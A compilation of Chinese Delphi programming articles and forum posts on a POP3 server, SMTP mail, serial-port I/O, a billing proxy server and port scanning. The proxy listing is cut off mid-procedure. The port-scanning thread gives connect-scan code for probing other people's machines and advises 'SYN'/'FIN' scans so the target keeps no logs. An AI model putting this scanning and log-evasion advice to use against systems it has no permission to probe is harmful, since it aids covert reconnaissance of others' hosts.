---- 贵刊1999年7月26日《编程技巧》栏目刊登的《监视POP3信箱》一文介绍了直接调用WinSock函数来进行POP3网络通信从而监视有无新邮件的方法。但我们知道从Delphi 3 开始，它自带的控件中有基于Internet开发的控件。如果我们充分利用这些控件开发Internet程序则可以简化编程工作，提高效率。鉴于目前POP3客户端的软件的种类繁多，（如Outlook Express,Foxmail 以及Web 方式下的各免费邮局）,而服务器端（除Unix Email系统）很少公开原代码,下面我就向大家着重介绍一下利用 Delphi 4中Internet控件组的TClientSocket 和TServerSocket 控件来实现 Email POP3服务器端。如果您理解了Email POP3服务器的构造，相信也可以依葫芦画瓢写出Email SMTP服务器程序。在此基础上加入多线程技术使服务器能同时处理多个客户的连接请求，您就可以轻松地实现一个简单的Email服务器了。

---- 一． 设计思路

---- Email 系统采用C/S 结构。当用户想发送邮件时或收取邮件时在客户机上运行任意一个客户端程序，如Foxmail。在菜单’工具->选项’的邮件服务器里填上运行我们服务器程序的主机名。服务器主机24小时一直运行我们的服务器端程序，SMTP和POP3服务器程序分别在25端口和110端口侦听连接请求。当用户发信时，首先客户端会与服务器端建立Socket连接。然后开始一应一答的Client/Server间的通信。发信和收信时建立连接后服务器端分别要发送一个’250 OK’ 和’+OK pop3 server is ready ’的应答。客户端收到此应答后开始发送SMTP或POP3命令。POP3通信时一般最开始的命令是’user ‘和’pass’或’ apop’用以进行身份验证。注意由于POP3会话有3个状态，某些命令只在某特定状态下有效。当用户进行完所有的操作后发送一个’quit’命令。服务器端收到此命令即终止此次socket连接并继续侦听其他的连接请求。注意：POP3通信时客户端在Transaction状态下’quit’则进入update状态。如果从Authorization状态下’quit’则终止通信，而不进入Update状态。如果客户端不通过’quit’命令终止连接，POP3会话不会进入Update状态。而只有在Update状态下收到’quit’命令后服务器才会在断连前把标志为已删的邮件进行物理删除。

---- 二． 代码实现(以POP3为例)

---- 自定义TPOP类的描述：

SessionState = ( Init,Authorization, Transaction,Update);

TPop=class (TComponent)

public

UserName:string;//Email帐户名

PassWord:string; //Email口令

ReceText:Pchar; //server端收到的字符串

PopState:SessionState;

//pop状态：

init or authorization or transaction or update

MsgCount:integer; //邮件总数

SizeCount:integer; //邮件总大小

ReplyString:string;//服务器端发送的应答信息

DeleIndex:byte;//用户要删的邮件序号

ListIndex:byte;//list方法 的参数：

用户要列出的序号为listindex的邮件信息

RetrIndex:byte;//retr方法的参数：

用户要取序号为retrindex的邮件

TopIndex:byte; //top方法的参数

QuitFlag:boolean;//用户如果通过quit命断连则此变量为true;

反之（此时要把f_dele都置回0）

OldMsgCount:integer;//旧邮件数：Last 命令返回

//邮件头的各个域

HMsgId:string;

HReplyTo:string;

HDate:string;

HFrom:string;

HTo:string;

HSubject:string;

HMIME_Ver:real;

HContent_Type:string;

HContent_Transfer_Encoding:string;

HText:string;

//所有POP3服务器必须支持的命令

procedure user;

function pass:boolean;

procedure stat;

procedure dele;

procedure list;

procedure retr;

procedure noop;

procedure rset;

procedure aquit;

procedure tquit;

//扩展的可选择实现的POP3 命令

procedure top;

procedure last;

procedure apop;

procedure uidl;

end;

---- 1. 建立连接

---- 我们可以看到利用了Tclientsocket后客户端请求建立连接只需下面的代码。

with ClientSocket do

begin

Host := Server;

Active := True;

end;

---- 服务器端利用TserverSocket,一直在侦听110端口，若客户端有连接请求，则ServerSocketAccept事件会被激活，建立起连接。

procedure TMyForm.ServerSocketAccept(Sender: TObject;

Socket: TCustomWinSocket);

begin

Statusbar1.Panels[0].Text :=

'连接到 ' + Socket.RemoteAddress;

//pop对象初始化

pop:=TPop.Create(nil);

pop.PopState:=init;

pop.LoginResult:=false;

pop.QuitFlag:=false;

ServerSocket.Socket.Connections[0]

.sendtext('+OK ibonc pop3 server is ready'+crlf);

end;

---- 2. 通信

---- 服务器端收到客户端发来的信息，则会激活ServerSocketClientRead事件，通过ServerSocket的Socket.ReceiveText可以得到信息的内容。

procedure TMyForm.ServerSocketClientRead(Sender: TObject;

Socket: TCustomWinSocket);

var temp_command :string;

//存放接收到的命令行，并做去crlf的处理

begin

temp_command:=Socket.ReceiveText;

//to remove the crlf in command line

temp_command:=trim(copy(temp_command,1,

pos(crlf,temp_command)-1));

pop.ReceText:=pchar(temp_command);

if pop.popstate=init then

if strLIComp(pop.ReceText,'user ',5)=0 then

pop.user

else

ServerSocket.Socket.Connections[0]

.sendtext('-ERR user name please')

else if pop.popstate=authorization then

begin

if strLIComp(pop.ReceText,'pass ',5)=0 then

pop.pass

else if strIComp(pop.ReceText,'quit')=0 then

pop.aquit

else

ServerSocket.Socket.Connections[0]

.sendtext('-ERR pass word please');

end

else if pop.popstate=transaction then

begin

if strIComp(pop.ReceText,'stat')=0 then

pop.stat

else if strLIComp(pop.ReceText,'dele ',5)=0 then

pop.dele

else if strLIComp(pop.ReceText,'list',4)=0 then

pop.list

else if strLIComp(pop.ReceText,'retr ',5)=0 then

pop.retr

else if strIComp(pop.ReceText,'noop')=0 then

pop.noop

else if strIComp(pop.ReceText,'rset')=0 then

pop.rset

else if strIComp(pop.ReceText,'quit')=0 then

pop.tquit

else if strIComp(pop.ReceText,'last')=0 then

pop.last

else if strLIComp(pop.ReceText, 'apop ',5)=0 then

pop.apop

else if strLIComp(pop.ReceText, 'uidl ',5)=0 then

pop.uidl

else

ServerSocket.socket.connections[0]

.sendtext('-ERR no such command yet'+crlf);

end

end;

---- 3. 关闭连接

procedure TMyForm.ServerSocket

ClientDisconnect(Sender: TObject;

Socket: TCustomWinSocket);

begin

ServerSocket.Active := False;

//如果client端没有通过quit 命令断连，

则在断连时要把那些f_dele置为0

if pop.QuitFlag=False then

begin

MyForm.query11.Close;

MyForm.query11.Params[0].Asstring:=pop.UserName;

MyForm.query11.prepare;

MyForm.query11.execsql;

end;

end;

---- 三． 结语

---- 由于Email系统与数据库表结构的紧密联系,笔者没有写出各POP3命令的具体实现。相信读者在认真阅读了RFC1939之后不难写出实现函数。现在就动手为你的公司写一个自己的Email服务器吧！


利用TNMSMTP发送邮件
procedure TForm1.Button1Click(Sender: TObject);

begin

NMSMTP1.Host := 'mail.host.com';

NMSMTP1.UserID := 'Username';

NMSMTP1.Connect;

NMSMTP1.PostMessage.FromAddress := 'webmaster@swissdelphicenter.ch';

NMSMTP1.PostMessage.ToAddress.Text := 'user@host.com';

NMSMTP1.PostMessage.ToCarbonCopy.Text := 'AnotherUser@host.com';

NMSMTP1.PostMessage.ToBlindCarbonCopy.Text := 'AnotherUser@host.com';

NMSMTP1.PostMessage.Body.Text := 'This is the message';

NMSMTP1.PostMessage.Attachments.Text := 'c:\File.txt';

NMSMTP1.PostMessage.Subject := 'Mail subject';

NMSMTP1.SendMail;

ShowMessage('Mail sent !');

NMSMTP1.Disconnect;

end;


Delphi中串行通信的实现
下半年栏目: 编程技巧

半年版名: 学习与编程版

第二十六期(7月13日): 学习与编程版

刊出日期: 19980713

Delphi中串行通信的实现

王琛

随着现代信息技术的发展以及计算机网络的广泛使用,计算机通信技术已经日臻成熟

,但串行通信作为一种灵活、方便、可靠的通信方式,仍不失为有效的通信手段,被广泛应

用于工业控制中。在工业生产实践中,用PC机对工程实现实时监控,通常要求PC机能在用

户界面上具有数据采集、数据处理以及控制信号的产生与传输等功能。在这种特定的环

境下,PC机要与过程控制的实时信号相联系,就要求能实现对PC机的串行端口直接操作。

Borland公司推出的Delphi是一种功能强大的高级编程语言,其可视化面向对象的特性,适

于在Windows环境下图形界面和用户程序的编制。本文介绍基于Windows 95/NT操作系统

用Delphi来实现PC机与下层PLC控制器之间的串口通信方法。

基于Windows 95/NT的串行通信机制

Windows操作系统禁止应用程序直接访问计算机硬件,但它为程序员提供了一系列标

准API函数,使得应用程序的编制更加方便,并且免除了对有关硬件调试的麻烦。在Windo

ws 95/NT中,原来Windows 3.X的WM_COMMNOTIFY消息已被取消,操作系统为每个通信设备

开辟了用户可定义大小的读/写缓冲区,数据进出通信口均由操作系统后台完成,应用程序

只需对读/写缓冲区操作即可。Windows 95/NT中几个常用的串行通信操作函数如下:

@@0474300.JPG;表1@@

除上述几个函数外,还要经常用到一个重要的记录DCB(设备控制块)。DCB中记录有可

定义的串行口参数,设置串行口参数时必须先用GetCommState函数将系统默认值填入DCB

控制块,然后才可设定用户想改变的自定义值。

在Windows 95/NT中实现串行通信除了要了解基本的通信操作函数外,还要掌握多线

程编程。线程是进程内部执行的路径,是操作系统分配CPU时间的基本实体,每个进程都由

单线程开始完成应用程序的执行。串行通信需要利用多线程技术实现,其主要的处理逻辑

可以表述如下:进程一开始先由主线程做一些必要的初始化工作,然后主线程根据需要在

适当时候建立线程监视通信口,当指定的串行口事件发生时,向主线程发送WM_COMMNO

FY消息(由于Windows 95取消了WM_COMMNOTIFY消息,因此程序员必须自己创建),主线程

对其进行处理。若不需要WM_COMMNOTIFY消息,则主线程终止通信监视线程。

多线程同时执行可能会引起对共享资源的冲突,为避免冲突,需要用同步多线程对共

享资源进行访问。Windows 95提供了许多保持线程同步的方法,笔者采用创建事件对象来

保持线程同步。通过CreateEvent()创建事件对象,使用SetEvent()或PulseEvent()函数

将事件对象设置成信号同步。在应用程序中,利用WaitSingleObject()函数等待同步的触

发,等到指定的事件被其它线程设置为有信号时,才继续向下执行程序。

Delphi下的具体实现方法

Delphi的强大功能和支持多线程的面向对象编程技术,使得实现串行通信非常简单方

便。它通过调用外部的API函数来实现,主要步骤如下。

1. 利用CreateFile函数打开串行口,以确定本应用程序对此串行口的占有权,并封锁

其它应用程序对此串口的操作;

2. 通过GetCommState函数填充设备控制块DCB,再通过调用SetCommState函数配置串

行口的波特率、数据位、校验位和停止位;

3. 创建串行口监视线程监视串行口事件,在此基础上就可以在相应的串口上操作数

据的传输;

4. 用CloseHandle函数关闭串行口(具体的程序如下)。本程序用Delphi3.0编写,在

Windows 95环境下调试通过,已投入实际应用中,供广大读者参考。

程序:

unit comdemou;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialo

gs;

const

Wm_commNotify=Wm_User+12;

type

  TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

  private

Procedure comminitialize;

Procedure MsgcommProcess(Var Message:Tmessage); Message Wm_commnotify;

{ Private declarations }

  public

{ Public declarations }

  end;

  //线程声明

  TComm=Class(TThread)

  protected

procedure Execute;override;

  end;

var

  Form1: TForm1;

  hcom,Post_Event:Thandle;

  lpol:Poverlapped;

implementation

{$R *.DFM}

Procedure TComm.Execute;

//线程执行过程

var

dwEvtMask:Dword;

Wait:Boolean;

Begin

fillchar(lpol,sizeof(toverlapped),0);

While True do Begin

  dwEvtMask:=0;

  Wait:=WaitCommEvent(hcom,dwevtmask,lpol);

  //等待串行口事件;

  if Wait Then Begin

waitforsingleobject(post_event,infinite);　 //等待同步事件置位;

resetevent(post_event);

//同步事件复位;

PostMessage(Form1.Handle,WM_COMMNOTIFY,0,0);//发送消息;

end;

  end;

end;

procedure Tform1.comminitialize;

//串行口初始化

var

lpdcb:Tdcb;

Begin

hcom:=createfile(‘com2’,generic_read or generic_write,0,nil,open_exist

ing,

  file_attribute_normal or file_flag_overlapped,0);//打开串行口

if hcom=invalid_handle_value then

else

setupcomm(hcom,4096,4096);

  //设置输入、输出缓冲区皆为4096字节

getcommstate(hcom,lpdcb);

//获取串行口当前默认设置

lpdcb.baudrate:=2400;

lpdcb.StopBits:=1;

lpdcb.ByteSize:=8;

lpdcb.Parity:=EvenParity;

//偶校验

Setcommstate(hcom,lpdcb);

setcommMask(hcom,ev_rxchar);

  //指定串行口事件为接收到字符;

end;

Procedure TForm1.MsgcommProcess(Var Message:Tmessage);

var

Clear:Boolean;

Coms:Tcomstat;

cbNum,ReadNumber,lpErrors:Integer;

Read_Buffer:array[1..100]of char;

Begin

Clear:=Clearcommerror(hcom,lpErrors,@Coms);

if Clear Then Begin

   cbNum:=Coms.cbInQue;

   ReadFile(hCom,Read_Buffer,cbNum,ReadNumber,lpol);

   //处理接收数据

   SetEvent(Post_Event);

//同步事件置位

   end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

comminitialize;

post_event:=CreateEvent(nil,true,true,nil); //创建同步事件;

Tcomm.Create(False);

//创建串行口监视线程;

end;

end.


机器是否联网
if GetSystemMetrics(SM_NETWORK) AND $01 = $01 then

ShowMessage('Machine is attached to network') else

ShowMessage('Machine is not attached to network');


如何得知某端口一打开
给你来个简单的吧！

procedure TForm1.Timer1Timer(Sender: TObject);

var

I : integer;

begin

Memo1.Clear;

for I := 0 to 1000 do begin

ServerSocket1.Close;

ServerSocket1.Port := I;

try

ServerSocket1.Open;

except

Memo1.Lines.Add(IntToStr(I) + '端口被打开!');

end;

end;

end;

对不起,我指的是别人机器上的PORT

你是说PORT只能被一个程序打开么?

可是,我用OICQ时在打开4000没问题呀

我把上面的程序改了一下，也可以用的。你就去试图连接对方，如果通了，说明此端口被打

开。

procedure TForm1.ClientSocket1Connect(Sender: TObject;

Socket: TCustomWinSocket);

begin

Memo1.Lines.Add('端口'+IntToStr(Socket.RemotePort)+'被打开！');

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

ClientSocket1.Close;

ClientSocket1.Port := PortID;

try

ClientSocket1.Open;

except

end;

Inc(PortID);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

PortID := 1;

end;

procedure TForm1.ClientSocket1Error(Sender: TObject;

Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;

var ErrorCode: Integer);

begin

try

ClientSocket1.Close;

except

end;

Memo2.Lines.add(IntToStr(Socket.remotePort));

end;

吕雪松你的方法我试过了可是抱错:asynchronous socket error 10061

--------------------------------------------------------------------------------

来自：xueminliu 时间：01-3-3 17:26:47 ID:464312

要区分tcp和udp

oicq用udp协议,connect没有用,但是tcp可以这样

另外,如果你写扫描程序可千万不要这样,应该使用别的链接方法,否则你的踪迹会被别人

发现.例如使用sys扫描或者fin扫描:

我给你异步socket的api代码:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,WInSock, ExtCtrls;

const WM_SOCKET=WM_USER+1; //socket消息

type

TForm1 = class(TForm)

Button1: TButton;

Edit1: TEdit;

Panel1: TPanel;

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

Sockhd : integer; //socket句柄

Serv_Addr : Tsockaddr;//目标地址

procedure SockEvent(var msg: Tmessage);message WM_SOCKET; //处理cocket消息

procedure DspMsg(msg : string); //显示信息

{ Private declarations }

public

{ Public declarations }

end;

Form1: TForm1;

implementation

{$R *.DFM}

function lookup_hostname(const hostname:string):longint; //把域名转化成IP地址

var

RemoteHost : PHostEnt; (* no, don't free it! *)

ip_address: longint;

begin

ip_address:=-1;

try

if hostname='' then

begin (* no host given! *)

lookup_hostname:=ip_address;

EXIT;

end

else

begin

ip_address:=Winsock.Inet_Addr(PChar(hostname)); (* try a xxx.xxx.xxx.xx first *)

if ip_address=SOCKET_ERROR then begin

RemoteHost:=Winsock.GetHostByName(PChar(hostname));

if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then

begin

lookup_hostname:=ip_address;

EXIT; (* host not found *)

end

else

ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);

end;

end;

except

ip_address:=-1;

end;

lookup_hostname:=ip_address;

end;

procedure TFOrm1.DspMsg(msg: string);

begin

memo1.Lines.Add(msg+'...');

if Memo1.Lines.Count>200 then Memo1.Lines.Delete(0);

end;

procedure TForm1.SockEvent(var msg : tmessage); //处理socket消息

begin

case msg.LParam of

FD_READ: begin //标识可以读数据,当然肯定已经链接上了

dspmsg('可以读取数据');

//do what you want do

end;

FD_WRITE: begin

dspmsg('可以发送数据');

//do what you want do

end;

FD_ERROR: begin

dspmsg('发生错误');

//如果你是客户端,则应该是连接不上,即端口没有开

end;

FD_CLOSE: Begin

dspmsg('服务器断开连接');

//对方关闭连接

end;

FD_CONNECT: begin

dspmsg('连结上服务器');

//表示对方端口开放

end;

FD_ACCEPT: begin

dspmsg('接收一个请求');

//这个消息只有服务端可能出现

end;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var wsaData:TwsaData;

begin //启动winsock动态链接库

if WSAStartup (makeword(2,2), wsaData)<>0 then begin

messagebox(application.handle,'无法启动winsock动态连接库!','警告',MB_OK or MB_APPLMODAL or MB_ICONWARNING);

Application.Terminate;

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin //关闭dll

WSACleanup;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Sockhd := socket(AF_INET,SOCK_STREAM,0); //创建socket句柄

if Sockhd<0 then begin

messagebox(application.handle,'无法创建句柄!','警告',MB_OK or MB_APPLMODAL or MB_ICONWARNING);

exit;

end;

Serv_addr.sin_addr.s_addr:= lookup_hostname(edit1.Text); //主机名

Serv_addr.sin_family := PF_INET;

Serv_addr.sin_port := htons(23); //any port you want to connect

if WSAAsyncSelect(Sockhd,Form1.handle,WM_SOCKET,FD_ACCEPT or FD_CONNECT or FD_CLOSE or FD_READ or FD_WRITE)=SOCKET_ERROR

then begin

messagebox(application.handle,'无法创建句柄!','警告',MB_OK or MB_APPLMODAL or MB_ICONWARNING);

exit;

end; //异步socket

connect(sockhd,serv_addr,sizeof(serv_addr)); //连接,结果会在前面的处理函数处理

end;

end.

相信应该可以满足你的要求


端口扫描的问题
在写端口扫描时，如果与某主机特定端口无法通信，

就此主机而言，我想应该有以下两种情况：

1。此地址上无任何主机存在

2。有主机但被扫描的特定端口不存在(也可能是被firewall过滤了)

请问如何编程区分这两种情况

最好详细一点喔（我很笨的）

如果在此地址上无主机存在，则发出的数据包得不到回应，应用程序会等待超时才

认为连接失败(被firewall过滤时情况一样),若有主机但被扫描的特定端口不存在时，

该主机会发出目的端口不存在的应答

至于如何编程实现，应该可以由错误码来判断，在OnError事情中判定ErrorCode是多

小，再分别处理，ErrorCode的详情参见Help

这么高深的问题才50分,少了

端口扫描不是这么简单,否则大家都做

首先你扫描人家的端口会留下自己的痕迹,系统有日志可以察看

因此我们做端口扫描的的时候绝对不会直接连接别人,而是通过地层的接口编程

例如在TCP三次握手的第三次放弃,对方就不会有日志,这称为sys扫描

给对方端口发断开连接的请求称为fin扫描.

通过这两种扫描方式都可以得知对方的端口是否开,而且不会留下痕迹.

总之端口扫描里面有很多学问,不是这里可以说清除的

怎么做呀，如你所说的话好象要直接调用socket api?

我现在首先关心的是我提出的问题，如何编程区分这两种情况：

1。此地址上无任何主机存在

2。有主机但被扫描的特定端口不存在(也可能是被firewall过滤了)

还有，为什么我把clientsocket的onread里的errorcode设为0了,

还是常常会出现delphi自己的错误消息提示，象10061,10057什么的,

这好象是另外一种error code,如能把它屏蔽我想就不会出现提示了.

是吗？如果是，该怎么做呢。

最后：如果能给我一个多线程的端口扫描源码，我再给100分（真的很穷啊）

我找到了help里的有关说明(是在索引中 Error TCP Event 里找到的)

WinSock Error Codes

The following error codes apply to the WinSock ActiveX Controls.

Error Code Error Message

10004 The operation is canceled.

10013 The requested address is a broadcast address, but flag is not set.

10014 Invalid argument.

10022 Socket not bound, invalid address or listen is not invoked prior to accept.

10024 No more file descriptors are available, accept queue is empty.

10035 Socket is non-blocking and the specified operation will block.

10036 A blocking Winsock operation is in progress.

10037 The operation is completed. No blocking operation is in progress.

10038 The descriptor is not a socket.

10039 Destination address is required.

10040 The datagram is too large to fit into the buffer and is truncated.

10041 The specified port is the wrong type for this socket.

10042 Option unknown, or unsupported.

10043 The specified port is not supported.

10044 Socket type not supported in this address family.

10045 Socket is not a type that supports connection oriented service.

10047 Address Family is not supported.

10048 Address in use.

10049 Address is not available from the local machine.

10050 Network subsystem failed.

10051 The network cannot be reached from this host at this time.

10052 Connection has timed out when SO_KEEPALIVE is set.

10053 Connection is aborted due to timeout or other failure.

10054 The connection is reset by remote side.

10055 No buffer space is available.

10056 Socket is already connected.

10057 Socket is not connected.

10058 Socket has been shut down.

10060 The attempt to connect timed out.

10061 Connection is forcefully rejected.

10201 Socket already created for this object.

10202 Socket has not been created for this object.

11001 Authoritative answer: Host not found.

11002 Non-Authoritative answer: Host not found.

11003 Non-recoverable errors.

11004 Valid name, no data record of requested type.

我想只要对它进行有关操作就能完全屏蔽winsocket错误消息(至少

能屏蔽很多onerror里的errorcode参数无法屏蔽的消息)

我终于找到原因所在了

在打开Socket时也要捕获异常

try

ClientSocket.Open;

except

MessageBox(MainForm.Handle,'Error connecting to this address','Connect',MB_ICONEXCLAMATION);

end;

在OnError中最后要将ErrorCode置为0

if ErrorEvent=eeConnect then

begin

Socket.Close;

MessageBox(MainForm.Handle,'Error connecting to this address','Connect',MB_ICONEXCLAMATION);

end

else if ErrorEvent=eeSend then

Socket.Close;

ErrorCode:=0;

你可能无做第一步

而这样也可以区分你所说的两种情况

1。第二步OnError就是此地址上无任何主机存在，到超时就触发OnError事件

2。第一步捕捉到异常就是有主机但被扫描的特定端口不存在


用Delphi设计自己的代理服务器
用Delphi设计自己的代理服务器

笔者在编写一个上网计费软件时，涉及到如何对局域网中各工作站上网计费问题。一般来讲，这些工作站通过代理服务器上网，而采用现成的代理服务器软件时，由于代理服务器软件是封闭的系统，很难编写程序获取实时的上网计时信息。因此，考虑是否能编写自己的代理服务器，一方面解决群体上网，另一方面又解决上网的计费问题呢？

经过实验性编程，终于圆满地解决了该问题。现写出来，与各位同行分享。

思路

当前流行的浏览器的系统选项中有一个参数，即“通过代理服务器连接”，经过编程测

试，当局域网中一台工作站指定了该属性，再发出Internet请求时，请求数据将发送到所指定的代理服务器上，以下为请求数据包示例：

GET http://home.microsoft.com/intl/cn/ HTTP/1.0

Accept: */*

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: home.microsoft.com

Proxy-Connection: Keep-Alive

其中第一行为目标URL及相关方法、协议，“Host”行指定了目标主机的地址。

由此知道了代理服务的过程：接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。

为此可编写一个简单的程序，完成上述网络通信重定向问题。

用Delphi设计时，选用ServerSocket作为与被代理工作站通信的套接字控件，选用ClientSocket动态数组作为与远程主机通信的套接字控件。

编程时应解决的一个重要问题是多重连接处理问题，为了加快代理服务的速度和被代理端的响应速度，套接字控件的属性应设为非阻塞型；各通信会话与套接字动态绑定，用套接字的SocketHandle属性值确定属于哪一个会话。

通信的衔接过程如下图所示：

代理服务器

Serversocket

(1) 接 收

被代理端 发 送 远程主机

(6) (2) (5)

Browser ClientSocket (4) Web Server

接 收

发 送 (3)

（1）、被代理端浏览器发出Web请求，代理服务器的Serversocket接收到请求。

（2）、代理服务器程序自动创建一个ClientSocket，并设置主机地址、端口等属性，然后连接远程主机。

（3）、远程连通后激发发送事件，将Serversocket接收到的Web请求数据包发送到远程主机。

（4）、当远程主机返回页面数据时，激发ClientSocket的读事件，读取页面数据。

（5）、代理服务器程序根据绑定信息确定属于ServerSocket控件中的哪一个Socket应该将从主机接收的页面信息发送到被代理端。

（6）、ServerSocket中的对应Socket将页面数据发送到被代理端。

程序编写

使用Delphi设计以上通信过程非常简单，主要是ServerSocket、ClientSocket的相关事

件驱动程序的程序编写。下面给出作者编写的实验用代理服务器界面与源程序清单，内含简要功能说明：

unit main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, ScktComp, TrayIcon, Menus, StdCtrls;

type

session_record=record

Used: boolean; {会话记录是否可用}

SS_Handle: integer; {代理服务器套接字句柄}

CSocket: TClientSocket; {用于连接远程的套接字}

Lookingup: boolean; {是否正在查找服务器}

LookupTime: integer; {查找服务器时间}

Request: boolean; {是否有请求}

request_str: string; {请求数据块}

client_connected: boolean; {客户机联机标志}

remote_connected: boolean; {远程服务器连接标志}

end;

type

TForm1 = class(TForm)

ServerSocket1: TServerSocket;

ClientSocket1: TClientSocket;

Timer2: TTimer;

TrayIcon1: TTrayIcon;

PopupMenu1: TPopupMenu;

N11: TMenuItem;

N21: TMenuItem;

N1: TMenuItem;

N01: TMenuItem;

Memo1: TMemo;

Edit1: TEdit;

Label1: TLabel;

Timer1: TTimer;

procedure Timer2Timer(Sender: TObject);

procedure N11Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure N21Click(Sender: TObject);

procedure N01Click(Sender: TObject);

procedure ServerSocket1ClientConnect(Sender: TObject;

Socket: TCustomWinSocket);

procedure ServerSocket1ClientDisconnect(Sender: TObject;

Socket: TCustomWinSocket);

procedure ServerSocket1ClientError(Sender: TObject;

Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;

var ErrorCode: Integer);

procedure ServerSocket1ClientRead(Sender: TObject;

Socket: TCustomWinSocket);

procedure ClientSocket1Connect(Sender: TObject;

Socket: TCustomWinSocket);

procedure ClientSocket1Disconnect(Sender: TObject;

Socket: TCustomWinSocket);

procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;

ErrorEvent: TErrorEvent; var ErrorCode: Integer);

procedure ClientSocket1Write(Sender: TObject;

Socket: TCustomWinSocket);

procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);

procedure ServerSocket1Listen(Sender: TObject;

Socket: TCustomWinSocket);

procedure AppException(Sender: TObject; E: Exception);

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

Service_Enabled: boolean; {代理服务是否开启}

session: array of session_record; {会话数组}

sessions: integer; {会话数}

LookUpTimeOut: integer; {连接超时值}

InvalidRequests: integer; {无效请求数}

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//系统启动定时器，启动窗显示完成后，缩小到System Tray…

procedure TForm1.Timer2Timer(Sender: TObject);

begin

timer2.Enabled:=false; {关闭定时器}

sessions:=0; {会话数=0}

Application.OnException := AppException; {为了屏蔽代理服务器出现的异常}

invalidRequests:=0; {0错误}

LookUpTimeOut:=60000; {超时值=1分钟}

timer1.Enabled:=true; {打开定时器}

n11.Enabled:=false; {开启服务菜单项失效}

n21.Enabled:=true; {关闭服务菜单项有效}

serversocket1.Port:=988; {代理服务器端口=988}

serversocket1.Active:=true; {开启服务}

form1.hide; {隐藏界面，缩小到System Tray上}

end;

//开启服务菜单项…

procedure TForm1.N11Click(Sender: TObject);

begin

serversocket1.Active:=true; {开启服务}

end;

//停止服务菜单项…

procedure TForm1.N21Click(Sender: TObject);

begin

serversocket1.Active:=false; {停止服务}

N11.Enabled:=True;

N21.Enabled:=False;

Service_Enabled:=false; {标志清零}

end;

//主窗口建立…

procedure TForm1.FormCreate(Sender: TObject);

begin

Service_Enabled:=false;

timer2.Enabled:=true; {窗口建立时，打开定时器}

end;

//窗口关闭时…

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

timer1.Enabled:=false; {关闭定时器}

if Service_Enabled then

serversocket1.Active:=false; {退出程序时关闭服务}

end;

//退出程序按钮…

procedure TForm1.N01Click(Sender: TObject);

begin

form1.Close; {退出程序}

end;

//开启代理服务后…

procedure TForm1.ServerSocket1Listen(Sender: TObject;

Socket: TCustomWinSocket);

begin

Service_Enabled:=true; {置正在服务标志}

N11.Enabled:=false;

N21.Enabled:=true;

end;

//被代理端连接到代理服务器后，建立一个会话，并与套接字绑定…

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;

Socket: TCustomWinSocket);

var

i,j: integer;

begin

j:=-1;

for i:=1 to sessions do {查找是否有空白项}

if not session[i-1].Used and not session[i-1].CSocket.active then

begin

j:=i-1; {有，分配它}

session[j].Used:=true; {置为在用}

break;

end

else

if not session[i-1].Used and session[i-1].CSocket.active then

session[i-1].CSocket.active:=false;

if j=-1 then

begin {无，新增一个}

j:=sessions;

inc(sessions);

setlength(session,sessions);

session[j].Used:=true; {置为在用}

session[j].CSocket:=TClientSocket.Create(nil);

session[j].CSocket.OnConnect:=ClientSocket1Connect;

session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect;

session[j].CSocket.OnError:=ClientSocket1Error;

session[j].CSocket.OnRead:=ClientSocket1Read;

session[j].CSocket.OnWrite:=ClientSocket1Write;

session[j].Lookingup:=false;

end;

session[j].SS_Handle:=socket.socketHandle; {保存句柄，实现绑定}

session[j].Request:=false; {无请求}

session[j].client_connected:=true; {客户机已连接}

session[j].remote_connected:=false; {远程未连接}

edit1.text:=inttostr(sessions);

end;

//被代理端断开时…

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;

Socket: TCustomWinSocket);

var

i,j,k: integer;

begin

for i:=1 to sessions do

if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then

begin

session[i-1].client_connected:=false; {客户机未连接}

if session[i-1].remote_connected then

session[i-1].CSocket.active:=false {假如远程尚连接，断开它}

else

session[i-1].Used:=false; {假如两者都断开，则置释放资源标志}

break;

end;

j:=sessions;

k:=0;

for i:=1 to j do {统计会话数组尾部有几个未用项}

begin

if session[j-i].Used then

break;

inc(k);

end;

if k>0 then {修正会话数组，释放尾部未用项}

begin

sessions:=sessions-k;

setlength(session,sessions);

end;

edit1.text:=inttostr(sessions);

end;

//通信错误出现时…

procedure TForm1.ServerSocket1ClientError(Sender: TObject;

Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;

var ErrorCode: Integer);

var

i,j,k: integer;

begin

for i:=1 to sessions do

if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then

begin

session[i-1].client_connected:=false; {客户机未连接}

if session[i-1].remote_connected then

session[i-1].CSocket.active:=false {假如远程尚连接，断开它}

else

session[i-1].Used:=false; {假如两者都断开，则置释放资源标志}

break;

end;

j:=sessions;

k:=0;

for i:=1 to j do

begin

if session[j-i].Used then

break;

